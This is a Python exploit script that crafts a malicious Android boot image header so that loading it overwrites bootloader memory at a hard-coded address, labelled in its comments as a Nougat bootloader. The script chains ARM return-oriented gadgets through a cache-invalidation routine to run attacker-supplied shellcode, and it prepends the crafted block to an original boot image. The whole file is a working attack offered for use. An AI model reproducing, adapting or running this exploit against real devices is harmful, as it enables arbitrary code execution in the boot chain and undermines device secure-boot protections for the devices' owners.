#!/usr/bin/env python3
import sys
import struct
from argparse import ArgumentParser

base = 0x46000000

crafted_hdr_sz = 0x70
page_size = 4  # at least 4 for alignment
# NOTE: crafted_hdr_sz bytes before inject_addr become corrupt
# 2 * page_size bytes after inject_addr+inject_sz become corrupt
inject_addr = 0x460a9758-32 # for nougat bootloader
inject_sz = 0x200 - crafted_hdr_sz

# 4600A542                 LDMIA           R1, {R1-R3}
# 4601ABD0                 LDMIA           R1, {R4-LR}^

# 4601B028                 LDMFD           SP!, {R0-R3,R12,LR,PC}^     ## ARM

cache_disable_func = 0x4601AC34
arch_clean_invalidate_cache_range = 0x4601AE00

fastboot_init = 0x46024BFA | 1


def main():
    parser = ArgumentParser()
    parser.add_argument('payload')
    parser.add_argument('-b', '--bootimg')
    parser.add_argument('output')
    args = parser.parse_args()

    orig = b""

    if args.bootimg:
        with open(args.bootimg, "rb") as fin:
            #orig = fin.read(0x400)
            # fin.seek(0x800)
            #orig += fin.read()
            orig = fin.read()
            orig = orig[:-0x400]

    hdr = b"ANDROID!"  # magic
    hdr += struct.pack("<II", inject_sz, inject_addr -
                       crafted_hdr_sz + page_size)  # kernel_size, kernel_addr
    # ramdisk_size, ramdisk_addr, second_size, second_addr, tags_addr, page_size, unused, os_version
    hdr += struct.pack("<IIIIIIII", 0, 0, 0, 0, 0, page_size, 0, 0)
    hdr += b"\x00" * 0x10  # name
    hdr += b"bootopt=64S3,32N2,32N2 buildvariant=user"  # cmdline
    hdr += b"\x00" * (crafted_hdr_sz - len(hdr))

    assert len(hdr) == crafted_hdr_sz

    body = b''
    body += struct.pack("<I", 0x42424242)
    body += struct.pack("<I", 0x42424242)
    body += struct.pack("<I", 0x42424242)  # R6
    body += struct.pack("<I", 0x42424242)  # R7
    body += struct.pack("<I", 0x42424242)  # R0
    body += struct.pack("<I", 0x42424242)  # R4
    body += struct.pack("<I", 0x42424242)  # R5
    body += struct.pack("<I", 0x4601B028)  # PC # LDMFD SP!, {R0-R3,R12,LR,PC}^

    body += struct.pack("<I", 0x460a9774)  # R0
    body += struct.pack("<I", 0x200-crafted_hdr_sz)  # R1
    body += struct.pack("<I", 0x03030303)  # R2
    body += struct.pack("<I", 0x04040404)  # R3
    body += struct.pack("<I", 0x12121212)  # R12
    body += struct.pack("<I", 0x460a9774)  # LR
    body += struct.pack("<I", arch_clean_invalidate_cache_range)  # PC

    # shellcode binary
    with open(args.payload, "rb") as fin:
        shellcode = fin.read()
    body += shellcode

    body += b"\x00" * (inject_sz - len(body))

    hdr += body

    hdr += b"\x00" * (0x400 - len(hdr))
    assert len(hdr) == 0x400
    hdr += orig

    with open(args.output, "wb") as fout:
        fout.write(hdr)


if __name__ == "__main__":
    main()
